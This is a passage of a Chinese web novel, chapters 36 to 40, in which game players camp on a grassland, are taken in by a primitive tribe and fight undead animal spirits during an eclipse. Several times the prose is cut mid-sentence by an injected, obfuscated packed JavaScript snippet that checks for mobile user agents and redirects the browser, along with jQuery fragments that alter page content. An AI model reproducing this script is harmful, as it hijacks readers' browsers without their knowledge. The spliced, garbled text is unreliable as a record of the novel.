镜舟闻声双眼盯着唯月，此刻林中出其的安静，只能听到风吹树叶，鸟儿啁啾的声音。 唯月摊手，“干嘛这么看着我，开个玩笑而已咯，要不然多紧张。我也不知道眼下这是怎么回事儿呢。” 镜舟不语，移开了目光。 “保持体力，最好不要有多余的消耗。”他转头轻声叮嘱我。 “嗯！我知道了。”我向他的方向挪了挪，“没事的，镜舟。”我想，也许是因为他经常都在担心我吧，虽然没什么确切的依据，可我就是一直都有这种感觉。他的关注让我的焦虑进一步消解。 “喂！小伙伴们，这个树林里有ＮＰＣ啊！”罗小星风风火火地朝我们奔来。 “你怎么不变成动物了？”唯月打量着罗小星，疑问道。 “还说呢，刚才差点就交待在这里了。我不是去探路了吗，我爬到一棵大树上，透过树木的缝隙往远处望，果然和我之前猜测的一样，沿着那片树木稀疏的地方走下去，就能走出森林，外面是开阔的草原。我一亲眼证实了这个想法就赶紧往回奔，想要告诉你们呀。结果，中间出了点小插曲。还没等我从树上下来呢，我就发现有一只小鹿，在树底下溜达，当时我就向下移动到旁边的一个大树杈上想要观察一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哪知道他根本不让我靠近嘛！我才往前挪了一点点距离，他就从后背又掏出一支箭朝我发射，速度又快，眼神又准，我觉得我不能再跟他耗下去了，根本不是对手，勉强躲过几次后我赶紧往后撤，好在他到底比不上花豹的速度，又没有我会爬树，我抓不到他，他也杀不了我。” “他可能真的把你当成野生动物了，以为你要吃掉小鹿，或者吃掉他。”假设真的是个原始人，肯定会想尽办法防御花豹的，不对，应该说所有人类都需要武器来防御食肉动物。 “对呀，所以我在甩掉他之后马上变回来了，不想再被别人当猎物了。根本不是我要吃那条小鹿，明明我才是那条小鹿。”罗小星顿了顿，“我们还是早点离开这里吧，看天色要到傍晚了，如果等到晚上，这树林里不知道要有多可怕。” 镜舟背着我，我们一行人离开了树林。不再走路确实让我体力的下降变得慢了一点，但是镜舟的消耗却因为我的关系变多了。 走出树林时，映入眼帘的是广袤的草原，只可惜草原似乎正处于旱季，看不见多少绿色，草叶枯黄，有些萧瑟。 我趴在镜舟的肩上，看着远方将要西沉的红日，见证着又一个黄昏的来临。 36. 第 36 章 “好漂亮好大气啊！”罗小星面向天空，张开双臂做了几次深呼吸。 我们每个人的身上都被红日染上了光辉，大家顷刻间便成为天地草原的一部分。眼前的景色太过壮美，竟让人无端地心生惆怅。 “瞧，那边有一些堆起的木柴，你们看到了吗？” 唯月的提问打断了我的感伤，罗小星赶忙跟上唯月的脚步凑过去查看，“有一种篝火营地的感觉啊，正好，天要黑下去了，趁着天黑前把木柴点燃，我们就有照明的东西了。” 罗小星说罢就蹲在地上开始扒拉起那些木柴来，“真是想睡觉的时候就有人递枕头啊，想要光明的时候上帝就点燃了一盏灯！真是天助我也。思婷姐，我们正好在这休息一会儿，这里至少要比树林安全得多。” ”罗小星，你是不是忘记了一件事情？”唯月站在柴堆前，弯下腰来，他伸出食指在罗小星的面前晃了晃，一边问一边露出友好的微笑。 “忘记什么啊？”罗小星仍忙着把木柴摆好，对唯月的提问不甚理解。 “忘记拿打火机。”唯月起身，偏着脑袋看着罗小星。 原本兴致勃勃的罗小星拍了拍身上的泥土，有点蒙圈地站了起来，“呃……是啊，要怎么点燃这些柴火呢？谁有打火机呢，火柴也可以啊。” “你有没有？”唯月问。 “当然没有啊。喂，明明是我在问你呀！” “我，也，没，有。”唯月一字一顿地说。 “啊！天就要黑了！”罗小星挠头，“这不是干着急嘛！” 唯月神情倒是很放松，他冲罗小星摇了摇头，“没办法了。” 罗小星开始围着柴火堆转圈。我是发现了，自从被笼子关了一次之后，我和罗小星遇到难解的问题都习惯性转圈…… “等等，先别急，这些木柴应该不是无缘无故出现在这的，要点燃它们也不一定需要打火机什么的，只要有火苗就可以了。”我安慰道。 “这两者之间有什么区别吗？没有它们哪里来的火苗呢？”罗小星愕然。 镜舟默默来到罗小星的身旁，“别急，工具有很多种。”他蹲下来，仔细打量眼前。 “镜舟大哥，我看过了，这都是些可以烧的木头而已啊。” “你最好还是仔细看看你的镜舟大哥此刻手里拿的是什么东西比较好。”唯月提醒道。 镜舟把手里的东西摊开给罗小星看，“都是在这附近找到的。” 是一些细碎的干草和两截形状特别的木头，一块木头逞杆状，一块是木板，且上面还开了槽，这恰好出现了钻杆和钻板。 “钻木取火？”我和罗小星同时说道，虽然我从来没有这么做过，也没有人教过我们，但是眼前的东西看起来就只能让人往这一个方向猜测。 “可是不会用啊，镜舟大哥……”罗小星望了望唯月，“也不用问你了，唯月你肯定也不会。” “你说不会那就不会咯。”唯月撇撇嘴角，他转身背对我们，“太阳快沉入地平线了。” 镜舟不言语，只是摆弄手里的东西。在他的手里，这些干草木棍突然化身成神奇的工具，他把干草放在钻板中间的凹陷处，再用钻杆一端的尖锐处对准。他把眼前的工具放好后，就开始用双手专注地反复搓转起来。过了一会儿，干草冒出了青烟，镜舟对着干草轻轻吹气。 “啊！碎草着起来了！“罗小星和我欢呼起来。 篝火终于燃起。虽然夕阳即将隐去，但幸运的是，篝火将接替它带来光明。 “不知道这些燃料能够撑多久，那边有些枯枝树叶，可以拿来备用。你和我一起过去？”唯月身体面向着镜舟平静地说道。 镜舟本来正在和罗小星堆放篝火，试图让火焰越烧越旺，唯月说完这句话后镜舟并没有停下手中的动作。 “是叫我去吗？”罗小星连忙站起，“好歹喊下名字啊，唯月你有点没礼貌。” “罗小星你急什么，我又不是叫你。”唯月瞅了罗小星一眼，也没等镜舟应声，转身就走。 “有这个必要吗？太细的枝条也不禁烧啊，再说也没有工具砍粗壮的树干呀！” “你这次怎么不勤检查你的装备了。”唯月边走边说，也不回头，只是右手高高举起，握着一把斧头，“所有的武器里只有冷兵器能用。” 镜舟默默地站起来，很轻地叹了口气，我盯着他，他回看我一眼，我总觉得他像是有话要对我说，但最终他却并未开口。 “罗小星，周围可能很危险，你们两个人要好好呆在这里，哪里也不要去。” “知道了，镜舟大哥，你放心吧。” 罗小星看着那两人渐走渐远的背影，从身上变出两个野果子，递给了我。 我一脸惊讶地看着他。 “吃吧，思婷姐，我之前收进背包里的，我们三个人体力下降比你慢，这些木柴，我来收拾，你多储备一些能量，可保不时之需。一会儿还不知道会发生什么呢，这个区域的关卡可真多啊。” 我手里捧着橘红色的果子，感激地看向罗小星，“小星，你其实很细心，和你的外表反差很大。” “外表有时侯不一定是真的呀，可以伪装嘛。相处久了，经历事情了，才知道人的好坏，日久见人心，患难见真情呀。我刚开始也以为思婷姐你太柔弱了，可是相处下来才知道你很有智慧呦。” “智慧？这个词儿离我太遥远了吧……” “思婷姐，你之前真的不认识唯月和镜舟大哥吗？” “没有啊。”小星的问题把我问住了，“怎么会这么问，我和镜舟算有一面之缘吧，这一点我们之前也聊过，至于唯月呢，我们是在组队的当天才认识的，在此以前从来没有见过。我游戏里没什么朋友的。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712091|189266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以我浸淫游戏之久的眼光来看呢……”小星放下手里的活计，“镜舟大哥属于深藏不露型的，而唯月虽然外表看起来很风骚啦，行头都很酷炫，但其实实力也不差，他有一种漫不经心的吊儿郎当感，我觉得他只是不那么在意输赢，一旦在意呢，就会很可怕。 “之前那次飙车，唯月表面上虽然嘻嘻哈哈的，但是操作很果断，当时坐在车上可把我吓坏了，这一次对装备的观察，他也是我们四人之中最敏锐的。思婷姐，你知道竞技场上什么人不能随便小瞧吗？” “竞技场？我不了解啊，好像很少参与过。”我害怕与人竞争，可能是我习惯当一个输家。 “你以后有机会也可以试试的，很好玩的。我说到哪里来着，对了，就是那些衣着光鲜的人民币玩家，我以前以为他们是花架子，竞技场诶，又不是选美大赛，穿得漂亮又有什么用，他们这些人中有的呢，确实实力不怎么样，但是完全过来送比赛积分的几乎没有。他们要不就是自己很厉害，要不就是周围有很厉害的朋友。总之呢，我有点学会了，不能小瞧任何人。能有胆量一分高下的都没有那么简单。” “游戏里确实有些漂亮衣服需要付费购买，活动换来的衣服虽然也蛮有质感和审美的，但是得到的速度不够快，要花时间。总之啊，我的见识还是太少，很想亲眼见到你说的这些玩家。” 好像在穿着打扮方面，不管是在现实世界还是游戏世界中，都有人愿意为之花钱。人和人的需求是不一样的，在我看来，在金钱有限的前提下，物质生活节俭点也没什么，能生存就是了，看得过去就是了，毕竟欲望是无止境的，为了支付无限的欲望，说不定会丧失自己，让生活完全围着欲望转。 “小星，和你说话我总觉得很放松。” “我也是啊，思婷姐。” “如果你是女孩子就好了……” 小星张着嘴吃惊地看着我，手里的木柴噼啪落在了地上。 “不好意思啊小星，我胡说八道了，我总感觉你是一个温柔的人，可能你身上的某些特质让我想起自己上学时候的好朋友吧。每个人身上都会有一点异性的特质，比如说男人的一半是女人，女人的一半是男人嘛，不是哪个名人说过嘛，伟大的灵魂都是雌雄同体。”我感觉自己越描越黑，一句无心出口的话不要惹恼了小星才好。 “原来你也是这么想的，思婷姐，我好高兴。我一直觉得很多事情男人可以做，女人也可以做，可是不管在哪个世界里，你如果和你的性别，或者别人对你的想象、评价格格不入的话，就会受到……嗯怎么说呢，也算不上排挤吧，他们会质疑你，消耗你，甚至来恶心你。总之，为了堵上别的嘴，有时侯就不能做自己。”小星突然用一种少见的认真语气与我交谈，我不由得挺直了腰杆，我想，他在跟我说心里话。 “思婷姐，其实这个告诉你也没什么的，是这样的……” 37. 第 37 章 “喂！”一把斧头突然晃到了我和小星之间，“罗小星，你跟这儿说什么呢这么入神？” “唯月你神经病啊！天都黑了，吓死人不偿命啊！”罗小星吓得一哆嗦，“我还以为有妖怪呢！心跳得突突的。” “你自己没防备而已喽。”唯月笑着收了斧头，悠然地坐在火堆旁。 镜舟怀中捧着刚才收集到的木柴，安静地走到篝火旁，将木柴放了下来。 “唯月你是不是有一点点懒啊，全让镜舟大哥一个人抱着！” “说话要负责任啊罗小星，你怎么确定那些柴不是我一个人砍下来的。”唯月回击道。 “你……”罗小星一时语塞，“好像说得也有点道理，不过我怎么就这么不信呢！” 我起身走到镜舟的身边，坐在他的身旁，拿出一个野果子。 “小星给我的，你也吃吧。”他背我浪费了更多的体力，队伍中体力值比我高不了多少。 镜舟只是摇了摇头，没有回答，没有拿走野果，也没有看向我。 没有眼神的交流让我有点不安，我不知道是不是自己又一次表错情了，有时侯我觉得镜舟向我发出友好的信号，和他呆在一起甚至有一种久已相识的感觉，有时侯我又认为这一切都纯粹是自己的瞎想。我自问一直以来都挺热情待人的，但镜舟却忽冷忽热，我真是猜不透他的心思。 我收起果子，双臂抱着膝盖，也没有说话，静静看着火光，过了一会儿，我往小星那挪了挪，时不时地帮着往里填些柴火。 “思婷姐，你说这天色也都彻底黑下来了，我们难道一直待在这里吗？” “先别急。”我拍了拍小星的膝盖，全当作对他的安慰，一时无言。 四个人之间就这样静默了下来，只能听到火焰中木柴的哔剥声响，我看到被风带起的零星红色光点，那是纷飞的木屑携带者微弱的火焰，即将化作黯淡的灰烬。 “罗小星，你身后那边有火光。”唯月指着他正对着的方向。 罗小星噌的一下就站起来了，着急地向后张望，“在哪里在哪里？” “应该是有人手持着火把。”我也看见了。 “是两个人呀，一个人拿着火把，在搀扶着另一个人……那人好像年纪挺大，走起路来略微勾着腰，动作慢吞吞的，手里还拄着一个拐杖。”罗小星往前探了几步看清楚后又马上回头跟我们说，“是我们的火光吸引的他们？怎么办，会不会有危险？我们是熄灭篝火，还是准备战斗？” “小星，我想也许情况没有那么危险。如果他们真的想偷袭我们的话，不必亮起火把，我们在明，他们在暗，想做点什么的话会更方便。既然对方所作所为这么光明正大，也就不怕我们看见。这个篝火营地的出现不会是偶然，我猜测，说不定他们会帮助我们呢。我们等等看。” “分析得有道理，我同意。罗小星，坐下来继续烧柴火吧。”唯月应和。 “思婷姐刚才说的自然很有道理，不过保险起见，我也要做两手准备，不能没有一点点防备。” 镜舟听罢，站了起来，我也跟着站了起来，既然做两手准备，那自然不能让罗小星一人面对危险，就算是要逃跑，站着也比坐着跑得快啊。 “得了，你们就站着吧。”唯月气定神闲地呆在原处，右膝屈起，右手食指在膝盖上轻点着。 原本看着那两人离我们有点距离，没多久倒也走到了篝火旁。 手执火把的是个十五六岁样子的女孩儿，一身原始人的打扮，她的身材乍一看略微瘦小，仔细看倒挺结实，火光的照耀下，在她裸露的手臂上能看到明显的肌肉线条。她的头发被束在耳后，眼神很锐利，当然，她身上最吸引人的还数她脸上用红白两种色彩勾画出的野兽图腾，看起来像是老虎的模样。我突然想起来…… “是你！原来是你！”罗小星惊呼，“就是你差点把我的耳朵打穿了！”罗小星边说着边往前又走了两步。 “别激动……”我上前拉住小星的胳膊。 这个女孩几乎在我们发出动作的瞬间就把举起的火把横在罗小星的面前，做出防御的架势来。 “雪。”那位拄拐杖的老人从这位被称为“雪”的女孩身后走过来，她满脸皱纹，长长的白发被扎成两个辫子，头上戴着由色彩鲜艳的羽毛编成的圆环，她又对女孩说了一些什么，是我们听不懂的语言。女孩闻声，顺从地收起火把，依然像之前那样举起，但眼神之中的防备并未减少。 “我们没有恶意，请你们不要害怕。” 小星看了我一眼，我们两人瞬时都有点茫然。马上也都反应过来了，我们顺利开启了新的剧情，小星朝我比着口型：“ＮＰＣ。”我点了点头，继续听老人家的诉说。 “你们是谁？”小星问道。 “你们是从圣山上走下来的旅人吧，和我猜测的一样，你们果然能够听懂圣山的语言。 “是你们的篝火吸引了我们。火是山神的祝福，你们能够获得山神的祝福，便和我们一样都是山神的子民。我是部落的巫祝，我们的部落世世代代生活在圣山的脚下。在山神的庇护之下，四季轮转，灵魂生灭，我们像所有的生灵一样在这里繁衍，劳作，只为体味昼夜交替的美好，享用山神的恩赐。 “我身边的这个孩子是我们部落最出类拔萃的勇士，她的名字叫作雪。我们部落的语言和你们旅人不同，但她的名字和你们语言中的雪是同样的发音，同样的含义。传说中山神遍体洁白，如冰霜一般，她喜欢在冬季的雪夜中现身。虽然冬季的到来往往伴随着天气的严寒与食物的短缺，但我们的部落并不畏惧冬季，甚至期盼冬季的到来。 “只有度过了冬天，春天才会降临，而那时春回大地，万物复苏，我们将迎来比冬天更长久的丰盛时光。一切都是山神的安排，没有冬天的冷酷，没有子民会珍惜温暖的日子。 “请原谅我的喋喋不休，你们的语言被我们的部落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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巫祝闻声，打量着我，她拄着拐杖往回走，站在我面前，她先是抓了下我的手腕，又凑近我的眼睛看了看。 “你被毒虫叮咬过。” 我惊讶地点了点头，“在林子里确实被叮了一下。” “不用担心，我们有对付这种毒虫的办法，跟我来吧。” 这个部落以巨大的山洞为家，我们一行走到山洞这里的时候天已经黑透了，山洞以外黑漆漆一片，山洞之中遍布着多处篝火，好多石柱上还用绳子绑着火把，这使得山洞透露出明亮与温暖。 原来适宜的火光总是可以给人以温暖的感受，视觉仿佛会转化成触觉，走进洞穴之中的我们也不由得放松了下来。部落里的人们很尊重巫祝，但却并不卑躬屈膝，对他们来说，巫祝的客人就是他们的客人，巫祝允许我们进入他们的私人领地，就相当于宣告了我们经过了巫祝的筛选，成为没有威胁的对象，因此他们对我们没有任何敌意，每个人都对我们报以友善的目光。 38. 第 38 章 他们对巫祝的这种超出常人想象的信任，可能就是独属于穴居人类的信念感吧。 部落中有男有女有老有少，小孩子们在无忧无虑地奔跑。巫祝把我们领到洞穴的深处，我们眼前有一块表面相当平整的石头，看起来就如同天然的桌子。 “虽然秋天漫长，冬天迟迟不来，但是我们没有放弃对山神的呼唤。每当满月的时候，我们都会聚集在洞穴之外，于一片光明中尽情地舞蹈，虔诚地祷告。我们准备好接受每一种命运，如果我们抵抗不了恶灵的侵袭，那我们就尘归尘土归土。曾经我们从天地间获得食物，此刻也到了该偿还的时候了。如果山神垂怜，那我们就会无比感激地等待着明日的朝阳降临，在下次轮回前继续如草一样生长，花一样绽放，鹿一样奔跑。 “在此之前我们会尽情地享受食物，黑暗来临之时，我们将做好一切准备迎接这场战役。” 那个叫作雪的女孩拿着碗一样的棕色陶器，一言不发地来到了我的身旁。她双手端着这个碗，在我面前举起，我看到碗中是一些墨绿色的植物叶片。 “小鹿有时候也会被虫毒所害，四肢发硬，强壮的鹿会找到这种神奇的草叶，让小鹿啃食。几日后，小鹿便会复原。”我从雪的手里郑重接过这治愈之药，鞠躬以示谢意。 “盛宴买上就要开始了，远方的客人们，我们邀请你们一同享用所有的收获，你们自圣山来，获得了山神的祝福，也许，你们也是山神派来的使者，但愿我们的冬天早一些来到。” 说完此话，巫祝转身而去，只留下雪一人陪着我们。 “啊……”小星感叹道，“虽然听得有点迷糊，但有一种很受震撼的感觉，我们真的会是山神的使者吗？” 我们围坐在石桌旁，为我们送上食物的人络绎不绝，他们都是部落里的年轻女孩。小星看着这些色泽成熟的野果，还有被炙烤过的大块大块的肉，连连称谢，女孩们将她们友善的微笑送给我们，什么都没有说。 “这些吃的东西一定花了他们很多的力气才能够拥有的吧，会使用火可太好了，我可不想吃生肉，烤肉正合我意。” “吃吧你就，反正也吃不出味道。”唯月轻笑，端着一块烤肉就开始慢条斯理地咀嚼起来。 “能看到就可以想象啊，味道是可以想象出来的。望梅止渴四个字听过没有呀。唯月，不是我说你，如果像你这么干巴地玩儿，什么游戏都没有意思了。”小星挑了块动物的排骨烤肉，大快朵颐起来， “我好像在哪听说过，会使用火来烹饪食物，能够让人类获得的营养大幅增加，很有助于大脑发育呢。”小星又打量了下四周，“巫祝好像是这里最年长的人，其他白头发的人不多呢，原始人的平均年龄一定不会太高吧。刚才给我们端来美味的女生们，说不定在他们的社会里，也被当作成年人呢。” 罗小星把目光对准雪，“还有你呀，雪，还真是人如其名呢。” 雪可能是听到了她的名字，目光对准罗小星。 “没事没事，你只能听懂你的名字对吧，我说的话你都不理解。你知不知道，我差点就成了你箭矢下的猎物了，你为什么不像其他那些女孩儿一样，摆弄摆弄狩猎回来的食物就好，反倒是非要去像个男生一样，背着弓箭呢？你为什么要袭击我呢？是为了保护那只鹿，还是要证明你箭法的准确？” 雪静静地看着小星，什么也没有回答。 “算了，说了你也听不懂，白费力。” 小星放下手中快要啃完的骨头，又挑了几个果子专注地吃起来。 我在方才吃下这神奇的草叶之后，就马上试着走了几下，腿还是不听使唤，但我注意比较了和队友的体力变化，我的体力不再像之前那样以更快速度下降， 此刻在进食的同时，我的吸收也变得更好，同样是摄取食物，我的体力恢复得竟然还要快一些。 我们四个人专注地进食，体力都补充到了满格的状态。 “好啦好啦，吃饱了，接下来是不是要跳舞了？我还从来没有看过原始人跳舞呢，一定很好玩儿！”小星说罢就站起来，准备往洞穴外的方向出发。 雪轻手轻脚地挡住他的去路，眼神中却透露出不容质疑的威严。 “干嘛呀？限制人身自由吗？”小星皱了皱眉头，镜舟听到后偏过头来看着雪。 雪没有回答，只是伸出右手食指，指向石桌。 “吃完。”她的话语言简意赅，声音清脆，隐约透露出一点青涩。 “可是我们已经吃饱了呀，再吃也没用了啊？”小星无辜地看向石桌上的食物，过了几秒种又一拍脑门，万分诧异地看向雪，“什么什么！？你会说人话？不是……我意思说，你会说我们的语言？我刚才说的话你都能听懂吗？” 雪看了小星一眼，却没有回答他的疑问，雪再次看向石桌，又补充了一句，“食物，珍贵。” 小星叹了口气，“好吧好吧，听你的就是了。” 雪的要求警示了我，为了他们久久不曾到来的春天，部落中的人们要长期储备足够的食物，又或者，对于原始社会的人们来说，食物从来都没有过剩一说。我们面前丰盛的一餐，是源于他们的慷慨，我们自然可以接受他们的款待，但与此同时，还要尊重他们的习俗，善待他们的收获，把食物老老实实地吃到肚子里才算是最好的答谢吧。 于是我们四个人就在雪的关注下，把桌子上的食物全部打扫干净，好在我们没有吃饱之后难以下咽的困扰。 当我们跟随雪走出洞穴外的时候，部落里的男人们已经在洞穴前方的空地中心堆放出巨大的木柴堆，柴堆的中央是粗壮的树干，外围的木柴渐次变小变细，最外层是易于点燃的枯草。 部落里除了老人和照看孩子的女人们，年轻男女们都来到木堆的周围，手持尚未燃烧的火把，几乎所有的男人们都带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“圆月之夜，动物会受到恶灵的蛊惑，让雪把它放进洞穴中吧，有光明的陪伴，它的灵魂才不会迷失。”巫祝缓缓吐露。 我听话地点了点头，刚才我已经试过了，绿萝不是由我召唤而来，也不能通过我的召唤而归，既然如此，就按照巫祝的方法来吧。 “这些所谓的恶灵究竟是什么东西？”小星困惑着问。 “所有的生灵都有可能转化成恶灵，他们是已经死过的魂灵，但却有不灭的欲望和怨恨。我们杀不死它们，只能坚持到光明重新到来。”巫祝郑重答复道，她一转被雪搀扶的左手，反手拍了怕雪的手臂，“雪，不用管我了，做你该做的事情吧。” 雪顺从地点了点头。她把绿萝送进了洞穴，让那些年长的女人像看护孩子一样陪伴绿萝，然后又回到了篝火旁，她没有像别人那样纵情起舞，而是面对着山顶上的圆月，就这样保持沉默，长久地注视着。 39. 第 39 章 小星也没有出声，他和我一样在静静地看着雪，“奇怪，我怎么有点欣赏起她来了呢？”不知道小星是在问我，还是在问自己。 过了一会儿，我看到雪突然开始张弓搭箭，做出准备进攻的姿势。与此同时，周围的人群也纷纷停止了舞蹈和歌唱，取而代之的是齐刷刷地把目光对准山顶的月亮，时不时有人发出几声低沉的呼叫，夹杂着众人的窃窃私语，原本欢快热烈的气氛顿时变得凝重起来。 我和他们一同望向月亮，原本满月的一角正在被黑暗一点一点地吞噬。 “原来是月食啊。”小星拍了拍胸脯，松了口气，“古代人是不是把这个叫作天狗食月，天文现象而已嘛，没什么可怕的。” “你当是在中学课堂上呢。”唯月看向小星，举起右手摆了摆，“未免也太低估这次关卡的难度了吧。放心，不会让你失望的。” 雪突然一声大喝，所有携带武器的女孩子都听从她的号令，把手中的火把交付出去，她们从人群中退出，集中在篝火形成的火焰周围，围城了一个半月形，而同样的，人群中又有一名男性指挥者，发出命令，让所有成年男子在小半月前大约五十米处摆出一个更大的弧形。 他们有的人一只手里举着一支火把，一只手紧握木制尖刺，有的人双臂拉满弓、搭好箭矢……但相同的是，他们的目光统统对准了地面。 “地上到底有什么啊？他们都在看……”小星迷惑不解道，他边说边低下头试图靠近地面，学着其他人的样子想要看得再清楚些，猛然间眼睛似乎看到了什么摄人心魄的东西，吓得小星怪叫连连。 此刻没人顾得上理会这几声怪叫了，被微弱月光照射的地面涌动着令人不安的黑色雾霭，如有实体。一些残缺的、或鲜血淋漓或腐败不堪的动物从地里钻了出来，伴着阵阵令人毛骨悚然的哀嚎和嗥叫，如巫祝所说的“恶灵”们开始出现在我们的视野之中。 这些恶灵从地里钻出来之后，躁动不安，大的像什么花豹、大猩猩、猴子、麋鹿、黑熊等，小的也摩拳擦掌、蠢蠢欲动，什么狐狸、刺猬、松鼠、老鼠、黄鼠狼等，也算是一应俱全，简直就是暗黑版的动物世界。 我们四人自然也不能就这么眼巴巴地看着，我之前也想过会加入这场终将到来的战斗，但没想到这所谓的恶灵看起来这么惊悚，跟恐怖片里的丧尸差不多，只不过是全员动物版的，带来的冲击力着实不小。 “技能系统全部用不了！”小星喊道，“连动物徽章都不好用！” “嗯我之前也发现了，进入洞穴附近区域后，治疗术依然不好用，我吃了药之后，体力和行动能力虽然逐渐正常了，但没有其它的变化。” 在恶灵陆续浮出地面之后，它们像是在积蓄什么力量，又或是在等待同伙集结完毕。我刚在心里想着要是就这样按兵不动倒也不差，我们总不至于光看看就被这些五官不全、皮肤破碎的畸形生物吓破了胆，不过事实证明，还是我把它们想简单了。 眼下最糟糕的问题在于，这些恶灵们的捕猎目标简直是出奇的明确，哪里有活物它们就往哪里冲，让人丝毫不敢对它们放松戒备，存在感十足。 一只大猩猩率先朝我们发起了进攻，它不顾自己即将从乌黑的眼眶中掉出来的右眼球，就一边拍打着胸口，一边向人群冲来。它正对着男人们组成的大半月形队伍的中心狂奔而至。 双层半月的防线恰好是以守护住洞穴而设计出来的，但是假使站在这些恶灵的角度看过来，这也正是它们想要攻下的堡垒。 部落里的战士们果然都是好样的，他们没有丝毫的退缩，先是有弓箭手向大猩猩发射箭矢，试图封住它狂奔的路。这次的箭头似乎不仅仅是尖锐的木刺那么简单，仿佛事先都被附上了可燃材料，弓箭手都是从背后取下箭矢后，先用临近的火把把箭头点燃，然后再射向恶灵，如此一来所有发出的箭矢竟然都带着微小的火光，像从部落中诞生后往外划过的流星。 大猩猩也丝毫没有表露出任何畏惧的样子，奔跑的同时还在辗转腾挪，躲避箭矢，还真的有几支被它躲开了，但凡是它身体被箭头的火光触碰的地方，都会逐渐焦黑，创伤一点点化成灰烬。好消息是，它变为灰烬的下肢已经被风吹散，坏消息是，它的上肢还能动，而此时，大猩猩并没有丧失行动能力，它仍用自己所剩无几的行动力，调动两个前肢中了邪一样地拼命往我们的反向前进。 小星“啧”了一声，“这是什么鬼东西啊！？目标感也太强烈了吧！” 随着大猩猩率先进攻的发起，其它的动物恶灵们也不甘示弱，都开始朝我们狂奔而来，以它们自身所具有的最快速度。而我们也总算明确了恶灵的特征，它们触火必损，只不过身体的各个部分呢，是各损各的…… 部落里的弓箭手们显然已经具备了对付恶灵的经验，他们别无他法，射击的目标并不是恶灵的心脏，而是瞄准它们的四肢，总之，就是为了阻抗恶灵具有可供发挥行动能力的身体结构。 谢天谢地，这些恶灵终究还是需要借助实体，而不仅仅是完全依靠怨念就能够给我们造成伤害。 随着月全食的进行，我抽身抬头看向山顶，光芒越来越式微，而这些恶灵似乎全部都是被压抑已久，正在黑暗的加持下，向我们发起猛攻。 “冷兵器！所有的冷兵器都能用！”小星喊道，经此提醒，我也想起了唯月之前说过的话，赶紧扒拉自己的装备，把能用的武器都找出来。我们的武器相较部落里的长枪短棒而言自然都是更为高级的，至少还有金属加持，不那么容易在邪灵的撞击下断裂，但问题在于，再坚固的武器对于这些恶灵来说，还是没有太大威 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而与山麓边缘接触的防御人手还是有些不足，这些恶灵似乎已经渐渐看出了正面战场难以突围，因为每次还不等它们跑到近前来就会被更多的弓箭射中，于是它们转变进攻思路，竟然开始慢慢分流，攻击半月形的边缘地带。 “镜舟大哥，唯月！帮忙守住两侧呀！”小星喊道，他也敏锐地观察到了这一点。 “好吧，看你这么认真，那我就帮你这一局吧。”唯月用轻松的语气回答道，他不知道从哪里变出来个流星锤一样的东西，潇洒地将武器甩了一个三百六十度，旋转的同时巧妙地将流星锤的两端从篝火堆中借了火。 于是乎，我就看到唯月手握中间的铁链，一边继续甩着两个着了火的流星，一边快速地跑到大半月的左侧，爬到山脚土坡上两米高的位置，居高临下，把那些妄图从这里爬上来的恶灵们一圈圈撞下去。 40. 第 40 章 镜舟手握一根玄铁长枪，他右手一挥再一刺，从篝火中选中一支粗壮的火把，将枪头深深刺入火把的尾端，又准又稳，几个箭步就赶来镇守大半月的右方，他挥舞着这加长版的长枪，攻击的范围随即变得更大了。 小星背着装满箭的箭袋，统管全局，以半月中点为观察点，视线从左扫到右，哪里薄弱就奔向哪里，补充火力。我一看情势这么紧急，自己自然也不能闲着，赶紧抽出一支火把，往镜舟那边奔。和那里的战士们一起，把冲过来的残缺恶灵用火光彻底净化。 一只野猪张着血盆大口往半月的边缘冲刺，速度奇快，在它奔来之时，镜舟挥舞长枪快速而准确地扫过它的脚下，野猪突然失去重心，往前栽去，我和身旁的两个战士赶紧用火把将它整个地消灭掉，仅一秒这个原本大露獠牙的怪物就化为齑粉了。 我逐渐发现，这些恶灵们虽然看起来面目极其狰狞，让人忍不住要做噩梦，但当你掌握它的弱点，直面它的时候，只要手不发抖，好像也并没有特别难对付。 最黑暗的时候已经在紧张的对抗中不知不觉地过去了，按照我的推测，光明的力量应该重新壮大，那么我们再坚持一会儿是不是就能迎来胜利的曙光了呢。 